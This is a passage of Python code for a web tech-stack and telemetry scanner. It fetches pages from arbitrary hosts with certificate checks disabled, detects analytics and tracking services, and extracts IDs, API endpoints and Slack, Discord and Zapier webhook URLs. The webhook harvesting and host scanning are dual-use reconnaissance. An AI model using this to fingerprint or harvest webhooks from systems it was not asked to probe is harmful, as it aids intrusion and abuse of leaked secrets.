"has_rollbar": re.compile(r'rollbar\.com|_rollbarConfig', re.I),
"has_bugsnag": re.compile(r'bugsnag\.com|Bugsnag\.start', re.I),
"has_logrocket": re.compile(r'logrocket\.com|LogRocket\.init', re.I),
# Social / Pixels
"has_fb_pixel": re.compile(r'fbq\s*\(|facebook\.com/tr\?|fb_pixel|\.fb\b', re.I),
"has_linkedin_insight": re.compile(r'linkedin\.com/trk|_linkedin_partner_id|li_sugr', re.I),
"has_twitter_pixel": re.compile(r'twitter\.com/beacon|twq\s*\(|analytics\.twitter', re.I),
"has_tiktok_pixel": re.compile(r'tiktok\.com/pixel|ttq\s*\(|ttq\.track', re.I),
"has_reddit_pixel": re.compile(r'reddit\.com/static/pixel|rdt\s*\(|redditPixel', re.I),
"has_pinterest_tag": re.compile(r'pinterest\.com/ct/pinit|pinhtml|pintrk\s*\(', re.I),
"has_snap_pixel": re.compile(r'snap\.com/chat|snaptr\s*\(|snapchat.*pixel', re.I),
# Marketing
"has_hubspot": re.compile(r'hubspot\.com|hs-script-loader|hbspt', re.I),
"has_marketo": re.compile(r'marketo\.com|mkto.*track', re.I),
"has_intercom": re.compile(r'intercom\.io|Intercom\(|widget\.intercom', re.I),
"has_drift": re.compile(r'drift\.com|drift\.load|Drift\s*\(', re.I),
# Privacy-first analytics
"has_plausible": re.compile(r'plausible\.io|plausible\.js', re.I),
"has_fathom": re.compile(r'fathom\.com|cdn\.usefathom', re.I),
"has_umami": re.compile(r'umami\.is|umami\.js', re.I),
# Payments
"has_stripe": re.compile(r'stripe\.com|Stripe\(|stripe\.js', re.I),
"has_braintree": re.compile(r'braintree|braintree\.js', re.I),
# CDN / Performance
"has_cloudflare_analytics": re.compile(r'cloudflare\.com/analytics|cf-analytics', re.I),
"has_gtmetrix": re.compile(r'gtmetrix|yottaa', re.I),
# A/B Testing
"has_optimizely": re.compile(r'optimizely\.com|optimizelyDataFile', re.I),
"has_vwo": re.compile(r'vwo\.com|_vwo_code', re.I),
"has_launchdarkly": re.compile(r'launchdarkly\.com|LDClient', re.I),
"has_google_optimize": re.compile(r'optimize\.google|googleoptimize', re.I),
# JS Frameworks (helpful for identifying tech stack)
"has_react": re.compile(r'react\.development|react\.production|__REACT_DEVTOOLS', re.I),
"has_vue": re.compile(r'vue\.development|vue\.production|__VUE_DEVTOOLS', re.I),
"has_angular": re.compile(r'angular\.development|angular\.js', re.I),
"has_jquery": re.compile(r'jquery.*\.js', re.I),
"has_nextjs": re.compile(r'__NEXT_DATA__|next\.js|_next/static', re.I),
"has_gatsby": re.compile(r'gatsby\.js|___GATSBY', re.I),
# API endpoints extracted from JS
"api_endpoints": re.compile(
r'https?://[a-zA-Z0-9.-]+\.(?:api|v1|v2|v3|rest|graphql|trpc)'
r'(?:\.[a-z]+)*/[a-zA-Z0-9/_.-]*'
),
"webhook_urls": re.compile(r'https?://hooks\.(?:slack|zapier|stripe|discord)\.com/'),
}
def extract_telemetry(body):
"""
Scan an HTML/JS body string for telemetry/analytics services.
Returns a dict with boolean flags for each service + extracted IDs.
"""
if not body:
return {}
result = {}
# Simple boolean matches
for key, pattern in PATTERNS.items():
if key.startswith("has_"):
result[key] = bool(pattern.search(body))
# ID extraction (lists)
result["ga_ids"] = PATTERNS["ga_ids"].findall(body)
result["gtm_ids"] = PATTERNS["gtm_ids"].findall(body)
result["ga4_ids"] = PATTERNS["ga4_ids"].findall(body)
result["ads_ids"] = PATTERNS["ads_ids"].findall(body)
result["floodlight_ids"] = PATTERNS["floodlight_ids"].findall(body)
# API/webhook endpoints found in JS
result["api_endpoints"] = list(set(PATTERNS["api_endpoints"].findall(body)))
result["webhook_urls"] = list(set(PATTERNS["webhook_urls"].findall(body)))
# JS framework version extraction (simple substring)
if result.pop("has_react", False):
m = re.search(r'react@(\d+\.\d+\.\d+)', body)
result["react_version"] = m.group(1) if m else "unknown"
if result.pop("has_vue", False):
m = re.search(r'vue@(\d+\.\d+\.\d+)', body)
result["vue_version"] = m.group(1) if m else "unknown"
if result.pop("has_jquery", False):
m = re.search(r'jquery[.-](\d+\.\d+\.\d+)', body)
result["jquery_version"] = m.group(1) if m else "unknown"
if result.pop("has_nextjs", False):
m = re.search(r'__NEXT_DATA__.*?"buildId":"([^"]+)"', body)
result["next_build_id"] = m.group(1) if m else "unknown"
return result
def extract_telemetry_from_url(host, port=80, timeout=5, use_https=False):
"""
Convenience: fetch the page and extract telemetry.
"""
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
scheme = "https" if use_https or port == 443 else "http"
url = f"{scheme}://{host}:{port}/"
try:
r = requests.get(
url,
timeout=timeout,
verify=False,
headers={"User-Agent": "FLOCK_scan/3.0"},
)
return extract_telemetry(r.text)
except Exception:
return {}
def summarize_telemetry(telemetry):
"""
Given a telemetry dict, return a human-readable summary string.
"""
if not telemetry:
return "No telemetry data"
parts = []
# IDs
if telemetry.get("ga_ids"):
parts.append(f"GA: {', '.join(telemetry['ga_ids'])}")
if telemetry.get("gtm_ids"):
parts.append(f"GTM: {', '.join(telemetry['gtm_ids'])}")
if telemetry.get("ads_ids"):
parts.append(f"Ads: {', '.join(telemetry['ads_ids'])}")
# Session recording
for svc in ["hotjar", "fullstory", "luckyorange", "smartlook", "mouseflow"]:
if telemetry.get(f"has_{svc}"):
parts.append(svc.title())
# Product analytics
for svc in ["segment", "amplitude", "mixpanel", "heap", "posthog"]:
if telemetry.get(f"has_{svc}"):
parts.append(svc.title())
# Error monitoring
for svc in ["sentry", "datadog", "newrelic", "rollbar", "bugsnag", "logrocket"]:
if telemetry.get(f"has_{svc}"):
parts.append(svc.title())
# Social pixels
for svc in ["fb_pixel", "linkedin_insight", "twitter_pixel", "tiktok_pixel",
"reddit_pixel", "pinterest_tag", "snap_pixel"]:
if telemetry.get(f"has_{svc}"):
label = svc.replace("_pixel", "").replace("_tag", "").replace("_insight", "")
parts.append(f"{label.upper()} pixel")
# JS framework
for framework in ["react", "vue", "angular", "nextjs"]:
key = f"has_{framework}"
ver_key = f"{framework}_version"
if telemetry.get(key) or telemetry.get(ver_key):
ver = telemetry.get(ver_key, "")
label = framework.title() if not ver else f"{framework.title()} ({ver})"
parts.append(label)
if telemetry.get("api_endpoints"):
parts.append(f"{len(telemetry['api_endpoints'])} API endpoints found")
return ", ".join(parts) if parts else "None detected"
# ── CLI test ─────────────────────────────────────────────────────────
if __name__ == "__main__":
import sys
if len(sys.argv) > 1:
target = sys.argv[1]
port = int(sys.argv[2]) if len(sys.argv) > 2 else 80
https = "-s" in sys.argv or "--https" in sys.argv
result = extract_telemetry_from_url(target, port=port, use_https=https)
print(json.dumps(result, indent=2, default=str))
print()
print("Summary:", summarize_telemetry(result))
else:
sample = """
<script>
(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','https://www.google-analytics.com/analytics.js','ga');
ga('create', 'UA-12345678-1', 'auto');
ga('send', 'pageview');
</script>
<script>
!function(f,b,e,v,n,t,s)
{if(f.fbq)return;n=f.fbq=function(){n.callMethod?
n.callMethod.apply(n,arguments):n.queue.push(arguments)};
if(!f._fbq)f._fbq=n;n.push=n;n.loaded=!0;n.version='2.0';
n.queue=[];t=b.createElement(e);t.async=!0;
t.src=v;s=b.getElementsByTagName(e)[0];
s.parentNode.insertBefore(t,s)}(window, document,'script',
'https://connect.facebook.net/en_US/fbevents.js');
fbq('init', '123456789012345');
fbq('track', 'PageView');
</script>
<script src="https://cdn.segment.com/analytics.js/v1/abc123/analytics.min.js"></script>
<script src="https://browser.sentry-cdn.com/5.9.1/bundle.min.js"></script>
<script>
window.intercomSettings = { app_id: "abc123" };
</script>
"""
t = extract_telemetry(sample)
print(json.dumps(t, indent=2, default=str))
print()
print("Summary:", summarize_telemetry(t))